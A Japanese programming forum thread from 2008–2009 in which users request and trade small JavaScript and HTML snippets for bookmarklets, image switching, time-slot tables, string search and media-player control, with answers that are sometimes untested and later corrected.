135 :Name_Not_Found:2008/11/25(火) 19:13:31 ID:???
ナルホドと言いつつ理解できてないな

136 :Name_Not_Found:2008/11/25(火) 21:30:23 ID:???
JQueryのアコーディオンとタブはなぜぶつかるのですか?
$をJQueryて置き換えてもダメだったです

137 :Name_Not_Found:2008/11/26(水) 12:47:49 ID:???
srcを動的に書き換えればその時点でHTTPリクエストが送信されるけどね

138 :Name_Not_Found:2008/11/27(木) 07:35:35 ID:???
申し訳ありません。
ブックマークレットの質問ですが他に聞く所がないのでお願いします。

ページ内のリンクを全表示するブックマークレット
javascript:WN7z=open('','Z6','width=400,height=200,scrollbars,resizable,menubar');DL5e=docum
ent.links;with(WN7z.document){write('<base%20target=_blank>');
for(lKi=0;lKi<DL5e.length;lKi++){write(DL5e[lKi].toString().link(DL5e[lKi])+'<br><br>')};voi
d(close())};

これを指定した範囲内だけ表示するように出来ませんか?

139 :Name_Not_Found:2008/11/27(木) 11:20:36 ID:???
>>138
どうやって指定するかによるんじゃない?
「ここのタグの中身」とかならまだ楽な感じがするけど、マウスで選択とかだと難しい感じがするな。

140 :Name_Not_Found:2008/11/27(木) 19:42:11 ID:???
>>139
マウスで選択です。
そうですか難しいですか

141 :Name_Not_Found:2008/11/28(金) 00:48:43 ID:???
>>138
<html><body>
<a href="link1.html">link1.html</a><br>
<a href="link2.html">link2.html</a><br>
<a href="link3.html">link3.html</a><br>
<a href="link4.html">link4.html</a><br>
<a href="link5.html">link5.html</a>
</body><script>
WN7z=open('','Z6','width=400,height=200,scrollbars,resizable,menubar');
DL5e=document.links;

_start=1; //2番目から
_end=3; //4番目まで

with(WN7z.document){
write('<base%20target=_blank>');
for(lKi=0;lKi<DL5e.length;lKi++){
if(lKi<_start)continue; //_startまでは先頭に戻る
write(DL5e[lKi].toString().link(DL5e[lKi])+'<br><br>');
if(lKi==_end)break; //_endでループを抜ける
}
void(close());
}
</script></html>


142 :Name_Not_Found:2008/12/04(木) 09:50:12 ID:???
もしもこんなことが出来たら?と思って書きこんでみます。
画像投稿掲示板に投稿された最新の画像をサイトのトップページに
表示したいんです。
大きな画像もありますので、160×120ぐらいに縮小することも一緒にできたらいいなぁと。

まとめると、サーバー上のとあるフォルダに入った画像のうち、
最新の画像を縮小して引っ張ってくるという機能になるかと思います。

javascriptで可能なことなのかどうかもよくわかってないのですが、よろしくお願いします。

143 :132:2008/12/05(金) 00:00:21 ID:ArlnOy1E
>>135
分かりました。いやーやばいですね。。
ありがとうございましたm(_ _)m

144 :Name_Not_Found:2008/12/05(金) 15:28:06 ID:???
<style type="test/css">
.framebox{font-size:2em;}
.cgiframe{height:100%;border=0;}
</style>

<script>
alert(document.styleSheets.length);
↑これが0になるのはなぜ?



145 :144:2008/12/05(金) 16:00:44 ID:???
自己解決。testじゃなくてtextだった。

146 :Name_Not_Found:2008/12/27(土) 23:31:04 ID:???
javascriptを使って、ローカルのファイルをブラウザにドラッグして
パスを取得することは可能でしょうか?


147 :Name_Not_Found:2008/12/28(日) 00:57:36 ID:???
無理

148 :Name_Not_Found:2008/12/28(日) 00:59:30 ID:???
>>146
FirefoxとかでChrome権限を取得できるのなら可能

149 :Name_Not_Found:2009/01/21(水) 18:44:11 ID:???
aという入力値に対し
bに(aの4分の1乗)の値を返し
cに(15億÷b)の値

dに(((c÷60)÷60)÷24)の値を返す
プログラムをお願いします

150 :Name_Not_Found:2009/01/21(水) 18:47:34 ID:???
できればdは
****日**時間**分**秒のように
余りを下位単位で表せるような

151 :sage:2009/02/04(水) 02:37:24 ID:7D32Ytwa
こんなプログラム作れますか?

a - b = c
d


上のaとbとdに数値を入力してボタンを押す。
cが表示される。


-------------------

a + d = 数値表示
a - c = 数値表示

b - d = 数値表示
b + c = 数値表示

-------------------

152 :Name_Not_Found:2009/02/04(水) 10:52:24 ID:???
宿題は自分で解きましょう(^o^)

153 :Name_Not_Found:2009/02/04(水) 22:53:05 ID:???
javascript: 1 + 1
上のをアドレスバーに入力して移動ボタンを押す。
2が表示される。

154 :Name_Not_Found:2009/02/05(木) 12:17:53 ID:???
>>153

すごいセキュリティホールだな!
警告発しろよ

155 :Name_Not_Found:2009/02/07(土) 18:11:26 ID:SP1JXyvg
凄く簡単なようなのだが、探しても全然無い。

IEのアクティブウインドウを フルウインドウ と ウインドウ に切り替える F11 をそのままJavascrpt でページ内へ張れないのですか?



156 :Name_Not_Found:2009/02/07(土) 19:25:59 ID:???
>>155
IEがコマンドを用意してくれているなら一発だけど
それを悪用したブラクラとか厄介そうだしセキュリティ上不可だろうな

157 :Name_Not_Found:2009/02/10(火) 17:18:23 ID:???
ブラウザの右上(スクロールバーの脇あたり)にマウスを当てるとHTMLタグも使えるツールチップを貼り付けたい
サイトを縦にスクロールしても、そのエリアは常時右上固定にしたい。

158 :Name_Not_Found:2009/02/11(水) 04:49:45 ID:???
部分集合構成法において、Parsingの状態遷移で動くように書いてあるものをSubsetConstructionの状態遷移で動くように書き換えるのは、どのようにすればよいのでしょうか?

159 :Name_Not_Found:2009/02/11(水) 10:36:48 ID:???
お前はJSじゃなくて離散数学を学んで来い

160 :Name_Not_Found:2009/02/19(木) 06:23:53 ID:???
時刻を分単位に直して(5時10分なら310)それを指定したテキストファイルに出力するスクリプトお願いします
日付は関係ありません、次の日になったらまた0にリセットされる

161 :Name_Not_Found:2009/02/19(木) 11:44:15 ID:???
>>160
>テキストファイルに出力
>>1
>使うものはJavaScript、HTML、CSS、XMLのみです。

無理。

162 :Name_Not_Found:2009/02/19(木) 11:52:16 ID:???
>>160
ローカルのテストファイルに吐くとしたらIEのみでやるとかしないとダメで、
サーバ側のファイルに吐くとしたら裏でCGIを動かさないとダメ。

時間は↓みたいに計算すればいいんじゃね?
var d = new Date();
(d.getHours() * 60) + (d.getMinutes())

163 :160:2009/02/19(木) 13:38:53 ID:???
すいませんプログラムに関しては無知だったのでかなり勘違いしていたようです
.jsという拡張子のものをJavaScript本体と思ってました

164 :Name_Not_Found:2009/02/22(日) 18:39:19 ID:z0rF1UrH
【依頼内容】
フレームによって左右区切られたページがある。
そこに、スクロールバー付の表を作成したい。
表の行と列の値は下記の通り。
表の行数:任意でデフォルトで指定しておいた行まで埋まってもいくつでも追加できる。
表の列数:3で固定

【作成環境】
Windoes Vista Home Basic

【備考】
説明がへたくそなので、下記のアップローダから、
実際のイメージを見てもらえると助かります。
また、Javascriptを使うより、簡単そうな方法があった場合、
教えてもらえれば幸いです。
よろしくおねがいします。

【アップローダ】
http://www.dotup.org/uploda/www.dotup.org24914.zip.html

<DLパス>
1114

165 :Name_Not_Found:2009/02/26(木) 19:17:03 ID:fKh0tVBE
age

166 :Name_Not_Found:2009/02/27(金) 01:38:17 ID:???
>>164
ファイルが流れてて見れない

167 :Name_Not_Found:2009/02/27(金) 23:22:58 ID:???
スルーできない人って、良くないとおもいまうす。

168 :Name_Not_Found:2009/03/07(土) 21:32:56 ID:???
ttp://www.apple.com/downloads/macosx/icons_screensavers/

このページの右側、たぶんアコーディオンなんだけど
どうやったらこんな風に反対側に動作出来るんか解明してください

169 :Name_Not_Found:2009/03/08(日) 02:05:25 ID:???
>>168
どういうこと?
反対側に動作って意味がわからないけど、ulにmouseoverしたときに
実際のtargetのli以外のtopを決まった値にすればいいだけじゃない?
z-indexは上から順に5,4,3,2,1に指定してあって、
ulにoverflow:hidden;が指定してあるからtopをマイナスの値にすると隠れる

170 :Name_Not_Found:2009/03/09(月) 06:48:41 ID:???
反対側に動作するとは、このページの左カラムのアコーディオンの動作に
対しての動き方のことです。わかりにくくてすみません。
このjsかっこいいのでパクりたいけど、ライセンスがわかんないのでこわいです

171 :Name_Not_Found:2009/03/21(土) 18:06:24 ID:???
<p id=hoge>〜</p>の中にあるリンクで書かれていないURLを
ボタンを押せばリンク化するようなのを作ろうとしていますがうまくいきません。
具体的に言うと

<p id=hoge>
http://google.co.jp
</p>

↓↓↓↓↓↓↓↓↓↓

<p id=hoge>
<a href="http://google.co.jp">http://google.co.jp</a>
</p>

のようなことをしたいです。
ちなみにこの場合もどこのサイトからのリンクだか相手はわかるのですか?

172 :Name_Not_Found:2009/03/22(日) 14:13:11 ID:???
>>171
http://www.uploda.org/uporg2107707.zip.html

>ちなみにこの場合もどこのサイトからのリンクだか相手はわかるのですか?
普通にリンクするからわかると思う

173 :Name_Not_Found:2009/03/22(日) 14:30:07 ID:???
>>172
ありがとうございました。完璧です。
余談ですが、逆変換はちょっと難しいですか?

174 :Name_Not_Found:2009/03/22(日) 16:48:27 ID:???
>>172が作ってくれたやつをちょっと改造すれば、簡単にできるでしょ。

175 :Name_Not_Found:2009/03/31(火) 00:32:02 ID:???
初心者でスミマセン
http://bbs.enjoykorea.jp/
↑のサイトで<>をクリックすると画像が変わっていくJAVASCRIPTを使いたいのですが
 ソース見て実行もうまく行きませんでした

ソースは
<script type="text/javascript" src="/js/global_lib.js" charset="UTF-8"></script>・・・
から
return "";
}

の範囲のJAVASCRIPTだと思うのですが
このソースを流用して"/js/global_lib.js" charset="UTF-8"の部分に"〜.jpg"に置き換えただけだと動きませんでした

176 :Name_Not_Found:2009/03/31(火) 09:33:42 ID:???
>>175
そりゃそうだろ。それFlashだ
JavaScriptで同じような動きする奴を探してみたら?
ライブラリになってればこういうデモ置いてあるとこもあるし
ttp://malsup.com/jquery/cycle/more.html

177 :Name_Not_Found:2009/03/31(火) 18:52:16 ID:???
参考になりましたありがとうございます

質問ですが
>>176のサイトのデモのttp://malsup.com/jquery/cycle/scrollhv.html
                 ↑を使いたいのですが

画像データを組み込むにはどんなJAVASCRIPTを使えばいいのでしょうか

178 :Name_Not_Found:2009/04/04(土) 17:20:54 ID:???
複数の文字列、例えば

aabbcda
ababcdc
bbabbcd

の中からabaを含む文字列を検索して表示したい場合のソース教えて下さい。

179 :Name_Not_Found:2009/04/04(土) 18:08:16 ID:???
>>178
var hoge = "aba";
var piyo = ["aabbcda", "ababcdc", "bbabbcd"];
var fuga = "\n";

var arr = [];
for (var i = 0; i < piyo.length; i++) {
if (piyo[i].indexOf(hoge) >= 0) arr.push(piyo[i]);
}

alert(arr.join(fuga));

180 :Name_Not_Found:2009/04/04(土) 21:26:05 ID:???
>>179
すかさず仕事はや!ありがとうございます!
ど素人なものでよくわからないんですが、左に書き込む空欄、右に検索ボタンを置いて
その下に表示されるようにしたいんですが、どのようにしたらよいでしょうか?


181 :Name_Not_Found:2009/04/05(日) 01:25:59 ID:???
本読め。

182 :Name_Not_Found:2009/04/05(日) 14:43:52 ID:???
>>180
http://www3.uploda.org/uporg2142548.zip.html

183 :Name_Not_Found:2009/04/05(日) 20:03:17 ID:???
>>182
ありがとうございます。ですが、今取に行ったら削除されてました。
大変申し訳ないんですが、もう一度うpしてもらえませんか?

184 :Name_Not_Found:2009/04/05(日) 23:49:32 ID:???
>>183
http://www.uploda.org/uporg2143806.zip.html

185 :Name_Not_Found:2009/04/05(日) 23:54:52 ID:???
>>184
ありがとうございます!早速うpしていただきほんとありがとうございます。
二回もうpしてもらえて、ほんと助かりました。早速使わせていただきます。

186 :Name_Not_Found:2009/04/18(土) 22:40:20 ID:???
Perlのintと同じ動作をするjavascriptって出来ますでしょうか?
Perlのintで変な結果が出るのを再現したいんですけどちょっと解らなくて・・・

187 :Name_Not_Found:2009/04/18(土) 23:06:47 ID:???
変な結果って?

188 :Name_Not_Found:2009/04/18(土) 23:14:19 ID:???
>>187
【Perl】初心者コーナーPart9
ttp://pc.2ch.net/php/kako/1009/10095/1009549309.html
753からそのことが書かれてます
2進数なんて解らないよ

189 :Name_Not_Found:2009/04/18(土) 23:29:07 ID:???
なんだ丸め誤差か
parseInt(18.9 * 100)

190 :Name_Not_Found:2009/04/18(土) 23:45:02 ID:???
>>189
最初にそれを使ってやったんですがたまにcgiのintと結果が違ってて
調べたら188のリンク先の問題に当たったんです・・・

191 :Name_Not_Found:2009/04/19(日) 01:34:47 ID:???
めんどくさいな、perlのシミュレートじゃないとダメなら自分はパス
誤差を回避するための相談には乗るかもしれない


192 :Name_Not_Found:2009/04/19(日) 01:49:30 ID:???
>>191
丸め誤差の回避はググれば大量に出てくるのでなんとかなりそうなんで大丈夫です
なんとか自力でやってみることにします、有難う御座いました

193 :Name_Not_Found:2009/05/10(日) 01:03:26 ID:???
下記をJavaScriptとHTMLで作って頂けないでしょうか?
よろしくお願いします。

ttp://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0036.zip

194 :Name_Not_Found:2009/05/10(日) 01:31:45 ID:???
>>193
遷移の実装は form の action または JavaScript と書いてあるけど
画面自体の遷移はどう考えても JavaScript に向いてない
form の action で実装する方が一般的だし楽

別のスレ探したほうがいいと思うが

195 :Name_Not_Found:2009/05/10(日) 01:58:41 ID:???
>>194
そうなんですか・・・
formはHTMLの範囲外なんでしょうか?

ここにくるまでにも探していたのですが他に該当スレが見つからなかったのでどうかお願いできないでしょうか?

196 :Name_Not_Found:2009/05/10(日) 13:41:55 ID:nq88n+QP
age

197 :Name_Not_Found:2009/05/12(火) 10:23:42 ID:md97Jvpu
FireFoxで、画面Aから画面Bを開き、画面Bはwww.google.co.jpをロード&表示させます。
画面Bでwww.google.co.jpの表示が完了したら、"表示が完了しました"とalertを表示させます。

以上の動作を画面Aから実行したいです。

198 :Name_Not_Found:2009/05/12(火) 20:03:45 ID:???
>>197
無理です。

199 :Name_Not_Found:2009/05/23(土) 01:50:04 ID:v55uSy5X
IE6を使用しています。
Ctrl + マウスホイールの制御を行いたいです。
どなたか教えてください。

200 :qlbe.net:2009/05/23(土) 10:07:45 ID:???
http://www.qlbe.com

201 :Name_Not_Found:2009/05/29(金) 00:42:34 ID:???
<script type="text/javascript" src="http://i.yimg.jp/images/analytics/js/ywa.js"></script>
<script type="text/javascript">
var YWATracker = YWA.getTracker("*****");
YWATracker.addExcludeProtocol("file:");
YWATracker.submit();
</script>
<noscript>
<div><img src="http://by.analytics.yahoo.co.jp/p.pl?a=*****&js=no" width="1" height="1" alt="" /></div>
</noscript>


埋め込み用jsにするにはどのように書けばいいですか?
<script src="yahoo.js"></script>

202 :Name_Not_Found:2009/05/30(土) 06:59:18 ID:???
はあ?

203 :Name_Not_Found:2009/06/04(木) 01:54:51 ID:???
ボタンを押したら画像を表示するようなのを作りたいのですが
どうしたらいいでしょうか?
ボタン1をおしたら01.jpg 〜10.jpgを表示
ボタン2をおしたら11.jpg 〜15.jpgを表示
ボタン3をおしたら16.jpg 〜25.jpgを表示
のようにして少しずつ画像を表示させてあまり負荷をかけなくしたいです。

204 :Name_Not_Found:2009/06/05(金) 02:39:24 ID:???
サムネイルつき画像ビューアって作れますでしょうか?
もしくはどなたか公開されてるスクリプトご存知のかたいますでしょうか。
複数のPCから見れるようにコミックスクリプトというビューアを設置しているんですが
コレにサムネイル機能がついたようなものが見やすいかな思って。

205 :Name_Not_Found:2009/06/05(金) 11:27:06 ID:???
>>203
onclickで良ければこんな感じか。フレームワーク使えばもっといいのたくさん落ちてると思うけど。
<script type="text/javascript">
var showImg = function(self, imgs) {
  if (this.target == self) return; // 同じボタンクリックされたら抜ける
  this.target = self; // クリックされたボタン
  var result = this.result;
  if (! result) result = this.result = document.getElementById('result');
  // 画面上の画像はstyleで消す
  var preImgs = result.childNodes;
  for (var i=0,l=preImgs.length; i<l; ++i) {
    if (preImgs[i].nodeName == 'IMG') preImgs[i].style.display = 'none';
  }
  var idPrefix = 'img_';
  for (var i=0,l=imgs.length; i<l; ++i) {
    var img = document.getElementById(idPrefix + imgs[i]);
    if (img) {
      img.style.display = '';
    }
    else {
      img = document.createElement('img');
      img.id = idPrefix + imgs[i];
      img.src = imgs[i] + ".jpg";
      result.appendChild(img);
    }
  }
}
</script>

<span onclick="showImg(this, [01,02,03,04,05])">ボタン1</span>
<span onclick="showImg(this, [06,07,08,09,10,11,12])">ボタン2</span>

206 :Name_Not_Found:2009/06/20(土) 19:06:10 ID:???
今作っている練習ページは【top】 【news】 【links】と3つのページへのリンクがあります
いずれもマウスカーソルが乗ったり外れたりに合わせて以下のようなことがやりたいのですが良い方法はないでしょうか

・カーソルが乗ってる場所の画像を切り替える
・それに合わせて所定の<divA>タグ内に、説明テキストを表示する
・同じく所定の<divB>タグ内に、説明画像を表示する


例)たとえば【news_off.gif】にカーソルが当たると、【news_on.gif】に切り替わり、かつ、divAの位置に説明画像、divBの位置に説明文といったかんじです

【news_off.gif】


【divA】
【divB】

207 :Name_Not_Found:2009/06/28(日) 17:23:16 ID:???
現在時間を元に表に5分ごとの時間を割り当てたいです
更に時間が経過したら更新されるような構造でお願いします

例えば今の時間が17:23なので
17:20 17:25 17:30 ・・・

例えば23:57にページにアクセスしたら
23:55 0:00 0:05 ・・・

現在時刻が0:00になったら23:55から0:00 0:05 0:10・・・というように更新されて置き換わって欲しいです


よろしくお願いします



208 :Name_Not_Found:2009/06/29(月) 13:13:11 ID:???
>>207
出力方法がわからないのでとりあえずこんな感じ
var fullzero_of = (function() {
  var hash = {};
  for (var i=0; i<60; ++i) {
    if (i < 10) {
      var digit = ('0' + i).split('');
      hash[i] = digit.slice(digit.length-2, digit.length).join('');
    }
    else {
      hash[i] = i;
    }
  }
  return hash;
})();
var getDateList = function(params) {
  var threshold = params.threshold, length = params.length;
  var dt = new Date();
  dt.setMinutes(parseInt(dt.getMinutes()/threshold) * threshold); // base
  var dateList = [];
  for (var i=0; i<length; ++i) {
    dateList.push(fullzero_of[dt.getHours()] + ':' + fullzero_of[dt.getMinutes()]);
    dt.setMinutes(dt.getMinutes() + threshold);
  }
  return dateList;
}
var output = function() {
  var dateList = getDateList({threshold:5, length:10});
  // 出力処理
}
setInterval(output, 30 * 1000);

209 :Name_Not_Found:2009/07/02(木) 21:28:02 ID:???
ASPで作ったコントロールをVISIBLEにしたいのですが、そのJavaScriptを教えてください
コントロールidはtxtJavaにしておきます

210 :Name_Not_Found:2009/07/03(金) 20:36:51 ID:???
あっそ。

211 :Name_Not_Found:2009/07/06(月) 13:54:54 ID:???
>>208
なんかいいような気がするのですが、出力結果がUndefined:Undefinedになります

>>207の仕様だと微妙なのでもう1度書き直すと


現在時刻 13:54:xx


----------------------------------------------------------
13:50|13:55|14:00|14:05|14:10|14:15|14:20|14:25|14:30|14:35|14:40|14:45
----------------------------------------------------------
リンク1| リンク2|リンク3|リンク4|リンク5| リンク6|リンク7|リンク8|リンク9|リンク10|リンク11|リンク12
------------------------------------------------------------

と実はこんな感じの表を作りたいんです時間ごとにリンクを割り振りたいです

現在時刻の表示は簡単に作れたので問題ないのですが、
現在時刻からその数分前(現在時刻がxx:45〜49なら表のスタートはxx:45)を
表に割り当てる作業がわからなかったので・・・

で、時間が経過すると自動更新されて
現在時刻 13:58:xx


----------------------------------------------------------
13:55|14:00|14:05|14:10|14:15|14:20|14:25|14:30|14:35|14:40|14:45|14:50
----------------------------------------------------------
リンク1| リンク2|リンク3|リンク4|リンク5| リンク6|リンク7|リンク8|リンク9|リンク10|リンク11|リンク12
------------------------------------------------------------
というような出力結果が欲しいです よろしくお願いします

212 :Name_Not_Found:2009/07/06(月) 15:05:11 ID:???
>>211
あれ?何のブラウザでやった?Firefox,IE,Opera,Safariで試したんだけど。
初めの1回目を実行するのが30秒後だったからoutput以降を書き換えた。
<div id="result"></div>の後にこのスクリプトがあれば実行できるはず。

var output = function(links) {
  var dateList = getDateList({threshold:5, length:links.length});
  var tableH = ['<tr>'];
  var tableD = ['<tr>'];
  for (var i=0,l=dateList.length; i<l; ++i) {
    tableH.push('<th>', dateList[i], '</th>');
    tableD.push('<td>', '<a href="', links[i]['link'], '">', links[i]['title'], '</a>');
  }
  tableH.push('</tr>');
  tableD.push('</tr>');

  document.getElementById('result').innerHTML = '<table>' + tableH.concat(tableD).join('') + '</table>';

  setTimeout(function(){output(links)}, 30 * 1000);
}
var links = [
  {link: 'link1', title: 'title1'},
  {link: 'link2', title: 'title2'},
  {link: 'link3', title: 'title3'},
  {link: 'link4', title: 'title4'}
];
output(links);

213 :211:2009/07/06(月) 15:18:28 ID:???
>>212
ダメでした
ブラウザの設定でしょうか?firefoxを使ってるのですが・・・

htmlを使用してるのですが、書き方が間違ってるのですかね?

大ざっぱでいいので<html><body>〜</body></html>まで書いてもらってもいいですか?
何か勘違いをしているのだと思います

javascript自体はあってそうというか、作成者様側では動作してるようなんで、自分が間違ってるんでしょうねー


214 :211:2009/07/06(月) 16:46:42 ID:???
できました!
1度できなかったのでIEでやってみたところ動作
その後Firefoxで、もう1度確認したところできました

setTimeoutなのでxx:oo:01のタイミングで表が切り替わらないで
若干のラグがありますが、なんとかいけそうです

ありがとうございました

215 :Name_Not_Found:2009/07/06(月) 16:49:54 ID:???
>>214
現在時刻から次の更新までの時間割り出してタイマ指定すればいいよ

216 :Name_Not_Found:2009/07/06(月) 17:06:30 ID:???
>>214
とりあえず毎回処理するように書いたから30秒に1回の処理だけど、
現在の表データ保持しておいて内容変わらないなら処理しないとかにすれば
1秒1回の処理でもいいと思うけどね

217 :211:2009/07/06(月) 17:18:31 ID:???
>>215
なんとかやってみようと思います

あと、今のものからリンクをその時間固有なものにしたいです。


リンクの種類を0:00〜23:55まで持たせたとして、時間が更新されるのと同時にリンクも更新するには
どうすればいいですか?
var links = [
  {link: '0:00.html', title: 'title1'},
  {link: '0:05.html', title: 'title2'},
  {link: '0:10.html', title: 'title3'},…
];

まず今のままだとlengthが大変なことになるので、固有な値を入れておくとして
var dateList = getDateList({threshold:5, length:4});
あとはどうしましょ?

218 :211:2009/07/06(月) 17:21:44 ID:???
>>216
そうですね
確かに1秒1回の処理だとラグがないのでいいですね

ただ、ムダにとは失礼ですが、処理しないとわかってるのに1秒1回はどうなんでしょう?
別にいいんですかね?

219 :Name_Not_Found:2009/07/06(月) 20:10:33 ID:???
>>217
全時間分やんのか。
ならlinksのハッシュ変えた方がいいかも
var links = [
  {'00:00.html': 'title1'},
  {'00:05.html': 'title2'},
  {'00:10.html': 'title3'}
}
とかにして、
tableD.push('<td>', '<a href="', links[i]['link'], '">', links[i]['title'], '</a>');
の部分を
var link = dateList[i] + '.html';
tableD.push('<td>', '<a href="', link, '">', links[i][link], '</a>');
とかかなぁ。

>>218
何もしないで抜けるだけの処理にすれば1秒1回でも全然問題ないと思う

220 :211:2009/07/07(火) 02:05:33 ID:???
>>219
置き換えたら時間しか表示されません
明日確認してみます

221 :Name_Not_Found:2009/07/07(火) 14:56:44 ID:???
>>220
それ、ちゃんと全部の時刻のハッシュを作ったか、今の時刻に合わせたハッシュを作ってないだけじゃない?
今の時間に合うハッシュ書かないと時間に合うリンクがないから結果表示されないよ

222 :Name_Not_Found:2009/07/07(火) 15:14:02 ID:???
そんだけ細かいのに対応表をデータとして用意するのがなんだかなぁという感じ
リンク先のhh:mm.htmlというような規則性はtitleにはないの?

223 :Name_Not_Found:2009/07/08(水) 01:21:13 ID:???
たとえばこんなCDランキングがtableで書かれていたとします。

順位 名前 先月の順位
1 NAME1 -
2 NAME2 2
3 NAME3 4
..........

これを順位、名前、先月の順位などでソートできるようにしたいです。
お願いします。

224 :211:2009/07/08(水) 02:27:51 ID:???
>>221
全時間作ったんですが、ダメでした

時間ごとの割り当てとしてはdateList[0]からちゃんと時刻が入っているので
tableD.push('<td>', '<a href="', link, '">', links[i][link], '</a>');
のところを

dateList[i]==links配列のxxx.htmlのxxxが一致してるものを持ってくる

みたいな感じだと確実に時間ごとにlinks配列から取って来てくれると思います
こんな時間のせいか頭が回らないので、自分はできませんでしたが・・・

>>222
リンクよりもボタンに変更しようかと思ってきました・・・
ボタンを押すとその時間を引数とした関数を実行したりっていうのもアリかと・・・
ただ、時刻ごとの固有の引数を今はとれていないので、そこをまずはなんとかしたいです

225 :211:2009/07/08(水) 02:45:52 ID:???
よく考えたら
var link = dateList[i] + '.html';
tableD.push('<td>', '<a href="', link, '">', link, '</a>');

でlinks配列使用せずに時間固有のxxx.htmlのリンクが作れますね

ただ、やっぱりtitle1とか配列からtitleをを引っ張ってきたいので修正が必要ですね・・・

226 :Name_Not_Found:2009/07/08(水) 08:00:00 ID:???
>>224
こっちの環境だと表示されてるのに何で出ないんだろ。
firebugのconsole.debugかalertでlinkを表示させると何が出るの?

227 :211:2009/07/12(日) 22:06:06 ID:???
>>226
firebugは何も出ません
アラートだとしっかり時刻通りのxxx.htmlが表示されます

>>214のときもなぜかできなかったりしたので、困りました
あのときはたぶん文字コードが原因だと思うのですが、今回は大丈夫なはずですが・・・

228 :Name_Not_Found:2009/07/13(月) 10:11:20 ID:???
>>227
Firebug何も出ないってどういうこと…

alertで時刻通りのhtmlが表示されてるなら問題ないはずだなぁ
links[i]とlinks[i][link]はどうなるの?

と、
>>219の配列の閉じかっこが変だな。
var links = [
  {'00:00.html': 'title1'},
  {'00:05.html': 'title2'},
  {'00:10.html': 'title3'}
]
こっちね。

229 :Name_Not_Found:2009/07/13(月) 12:35:45 ID:???
アラート使うとlinks[i]はobject Object
links[i][link]は undentifiedと出ます
bugは相変わらず反応しないです 他のページのは反応しますが…

230 :Name_Not_Found:2009/07/13(月) 13:27:41 ID:???
そもそもiは0〜なのでlinks[i]だと毎回の最初00:00から読みませんか?

ここがよくわからないので、ここが解決すると進むかもしれません

231 :Name_Not_Found:2009/07/13(月) 14:54:24 ID:???
>>230
あぁw
ごめん、その通りだわw
配列をハッシュにして時間からタイトルを出すようにすればよいと思う
var links = {
 "00:00": "title1",
 "00:05": "title2",
 "00:10": "title3",
 "00:15": "title4"
}
で、
tableD.push('<td>', '<a href="', dateList[i], '.html">', links[dateList[i]], '</a>');
にすればいけるかな。

232 :Name_Not_Found:2009/07/16(木) 10:41:50 ID:???
>>231
なんとかできました

ところで今ボタンに置き換える作業をしています つまり
tableD.push('<td>', '<input type="button" value="',links[dateList[i]],', onsubmit=xxx(',dateList[i],')'">)';

というように
タイトルボタンをクリックすると、「現在時刻」を引数とするような関数をonsubmit(xxx関数は単純にalertでその引数を表示するという関数)で実行しようと考えていますが、
ボタンはちゃんと表示されますが、押しても実行できません

innerで書いているからでしょうか?
単純にonsubmitなので、動きそうな気がしますが・・・
よろしくお願いします

233 :Name_Not_Found:2009/07/16(木) 11:45:31 ID:???
>>232
コピペミスか?明らかクォートが文法エラーになってるけど。
あとinputはonsubmit取れないよね?onclickにした。

tableD.push('<td>', '<input type="button" value="', links[dateList[i]], '" onclick="alert(\'', dateList[i], '\')">');

234 :Name_Not_Found:2009/07/16(木) 11:54:03 ID:???
>>233
onclickでしたか
ありがとうございました

235 :Name_Not_Found:2009/07/18(土) 13:51:30 ID:fDNoRoNk
http://www.longtailvideo.com/
上記サイトからダウンロードできる JW FLV Player についてですが、このプレイヤーを用いて、3種類の音楽ファイルを下記のように配置したとします。

→音楽1
→音楽2
→音楽3

これら3つの音楽を同時に再生させることは、javascriptで可能でしょうか。

236 :Name_Not_Found:2009/07/18(土) 14:11:04 ID:???
ttp://developer.longtailvideo.com/trac/wiki/FlashApi

function play(obj) {
 obj.sendEvent("PLAY","true");
}

function syncPlay() {
 play(document.getElementById("player1"));
 play(document.getElementById("player2"));
 play(document.getElementById("player3"));
}

こんな感じ?

237 :235:2009/07/18(土) 17:48:34 ID:fDNoRoNk
>>236

どうもありがとうございます。
早速下記のように書いてみましたが、動作しません。
私の知識不足かと思いますが、アドバイスをいただけないでしょうか。


<script type="text/javascript" src="swfobject.js"></script>
<script id="1" type="text/javascript">
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
s1.addVariable("file","1.xml");
s1.write("container1");
</script>

<script id="2" type="text/javascript">
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
s1.addVariable("file","2.xml");
s1.write("container2");
</script>

<script type="text/javascript"><!--
function play(obj) {
 obj.sendEvent("PLAY","true");
}

function syncPlay() {
 play(document.getElementById("1"));
 play(document.getElementById("2"));
}
// --></script>

<button onclick="syncPlay()">play</button>

238 :Name_Not_Found:2009/07/18(土) 18:26:54 ID:???
よくわからんけど
var s1 = new SWFObject("mediaplayer4.swf","ply","328","18","9","#FFFFFF");
の第二引数の"ply"がidになるっぽい
だからply1とply2に書き換えて、document.getElementByIdの引数もそれに書き換えてみて

239 :235:2009/07/18(土) 20:05:56 ID:fDNoRoNk
動きました!
素晴らしいです。
本当に、ありがとうございました。


240 :Name_Not_Found:2009/07/22(水) 20:50:24 ID:???
動的に作成されるformのselectを一括で変換できるようにしたいです。

<form action="xx">
(略)
<SELECT NAME="hoge_1">
<OPTION VALUE="1" SELECTED>aaa
<OPTION VALUE="2" >bbb
<OPTION VALUE="3" >ccc
<OPTION VALUE="4" >ddd
</SELECT>
(以降、検索結果によってhoge_xが複数作成される。連番ではない場合もあり、数値の上限も無制限)

存在しないhoge_0を作成してそこをbbbに変更すると連番で続くSELECTも全てbbbに
なるような感じです。

hoge_xを全部配列にぶち込んでselectIndexで・・・とかいろいろやってるんですが
どうもうまく行きません。
すみませんがお力添え下さい。

241 :Name_Not_Found:2009/07/22(水) 21:15:04 ID:???
>>240
optionの並びは固定?それともselectによって入れ替わったり項目が増減したりして不定?

242 :Name_Not_Found:2009/07/23(木) 10:00:01 ID:???
>>241
すみません、爆睡してしまいました。
レスありがとうございます。Optionは種類(5個)・並びともに固定です。

243 :Name_Not_Found:2009/07/23(木) 11:49:36 ID:???
>>242
それならselectIndexでわりと素直にできると思う
動作確認してないから間違ってたらすまん

var selectList = ["hoge_1", "hoge_2"], selectElemList = [];
for(var i=0,l=selectList.length; i<l; i++) { // getElementById結果のキャッシュ
 selectElemList[i] = document.getElementById(selectList[i]);
}

function selectAll(index) {
 for(var i=0,l=selectElemList.length; i<l; i++) {
  selectElemList.selectIndex = index;
  // document.getElementById(selectList[i]).selectIndex = index; // やってること自体はこれ
 }
}

"bbb"で指定するならindex何番かを別途取得しないといけないけど
